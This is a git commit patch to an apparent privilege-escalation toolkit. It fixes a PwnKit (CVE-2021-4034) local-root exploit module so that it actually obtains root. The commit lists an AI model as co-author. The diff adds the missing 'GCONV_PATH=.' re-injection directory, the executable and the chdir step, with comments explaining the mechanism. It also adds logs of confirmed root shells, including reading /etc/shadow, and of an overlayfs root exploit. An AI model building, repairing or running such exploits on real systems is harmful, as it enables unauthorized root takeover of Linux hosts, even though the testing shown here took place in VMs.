From 24b839eccf15f03f0dd47a1447d703f908a43b15 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 19:40:04 -0400 Subject: [PATCH] pwnkit: fix the gconv re-injection layout so the exploit actually lands root MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The exploit reported EXPLOIT_OK but did NOT get root on a genuinely vulnerable target (Ubuntu 20.04.0, polkit 0.105-26ubuntu1). pkexec printed "Cannot run program pwnkit" + glibc "Could not open converter from UTF-8 to PWNKIT" and no root shell was obtained — a false positive from the dispatcher's "execve transferred → clean exit = OK" path. Root cause: the module built workdir/pwnkit/{gconv-modules,PWNKIT.so} correctly but omitted the two pieces that make the GCONV_PATH trick fire: 1. a directory literally named "GCONV_PATH=." containing an executable "pwnkit", so pkexec's g_find_program_in_path() resolves argv[0] and RE-INJECTS GCONV_PATH=./pwnkit into the sanitised environment; and 2. chdir(workdir) so the re-injected relative "./pwnkit" resolves to the gconv dir. It also set an absolute GCONV_PATH=/pwnkit directly in envp, which pkexec strips (GCONV_PATH is on polkit's blacklist) — removed. VM-verified after the fix on Ubuntu 20.04.0 / 5.4.0-26 (polkit 0.105-26ubuntu1): unprivileged sk -> uid=0(root), confirmed out-of-band (wrote /root/, read /etc/shadow). overlayfs (CVE-2021-3493) also confirmed landing root on the same host; sudo_samedit returns an honest EXPLOIT_FAIL there (heap not landed). Found via the new qemu exploit-verification sweep (root confirmed out-of-band, not from the module's self-report). Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- docs/VERIFICATIONS.jsonl | 3 ++ .../skeletonkey_modules.c | 53 ++++++++++++++----- 2 files changed, 44 insertions(+), 12 deletions(-) diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index ece69d6..0b86662 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -35,3 +35,6 @@ {"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} {"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} {"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"} +{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"} +{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"} +{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"} diff --git a/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c index a1b2fe4..630dab6 100644 --- a/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c +++ b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c @@ -314,32 +314,61 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx) goto fail; } + /* 4b. The re-injection directory. This is the piece that makes the + * GCONV_PATH trick actually fire, and the classic bug when it's + * omitted (pkexec prints "Cannot run program pwnkit" and glibc + * "Could not open converter ... to PWNKIT", and NO root is obtained). + * + * With argc==0, pkexec reads envp[0] ("pwnkit") as the program path + * and, since it isn't absolute, resolves it via PATH. We set + * PATH=GCONV_PATH=. so pkexec searches a directory literally named + * "GCONV_PATH=." for an executable "pwnkit"; when it finds + * "GCONV_PATH=./pwnkit" it writes that string back over envp[0], + * thereby RE-INJECTING GCONV_PATH=./pwnkit into the (already + * sanitised) environment. pkexec then emits an error whose message + * glibc converts via the PWNKIT charset, dlopen()ing ./pwnkit/PWNKIT.so + * as root. So we need (a) the "GCONV_PATH=." dir + executable "pwnkit", + * and (b) CWD == workdir so "./pwnkit" resolves to sodir. */ + char injdir[1024]; + snprintf(injdir, sizeof injdir, "%s/GCONV_PATH=.", workdir); + if (mkdir(injdir, 0755) < 0 && errno != EEXIST) { + perror("mkdir GCONV_PATH=."); goto fail; + } + char injexe[2048]; + snprintf(injexe, sizeof injexe, "%s/pwnkit", injdir); + /* Content is irrelevant — it never actually runs; the payload fires during + * pkexec's error-message conversion before any exec of this file. It only + * has to exist and be executable so g_find_program_in_path() locates it. */ + if (!write_file_str(injexe, "#!/bin/sh\n:\n")) { + fprintf(stderr, "[-] pwnkit: write inject exe failed\n"); goto fail; + } + chmod(injexe, 0755); + if (!ctx->json) { fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n"); } - /* 5. Construct the argv-overflow trick. The env vars become argv - * via the bug; pkexec parses the first as argv[0] which it - * then uses to find the binary to re-exec. By naming - * 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir - * with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root. - * - * Reference: Qualys' PWNKIT writeup. */ + /* 5. Construct the argv-overflow trick (see 4b for the mechanism). + * Reference: Qualys' PWNKIT writeup + Berdav's PoC layout. */ char *new_argv[] = { NULL }; /* argc == 0 — the bug */ - char gconv_env[1024]; - snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir); char *envp[] = { - "pwnkit", /* becomes argv[0] via overflow */ - "PATH=GCONV_PATH=.", /* pkexec parses this as PATH */ + "pwnkit", /* becomes argv[0]=path via the overflow */ + "PATH=GCONV_PATH=.", /* pkexec re-injects GCONV_PATH=./pwnkit */ "CHARSET=PWNKIT", "SHELL=pwnkit", - gconv_env, NULL, }; /* tighten workdir perms so pkexec (root) can traverse */ chmod(workdir, 0755); chmod(sodir, 0755); + /* CWD must be the workdir so the re-injected GCONV_PATH=./pwnkit resolves + * to workdir/pwnkit/{gconv-modules,PWNKIT.so}. Without this the converter + * is never found and no root is obtained. */ + if (chdir(workdir) != 0) { + perror("chdir workdir"); goto fail; + } + if (!ctx->json) { fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec); }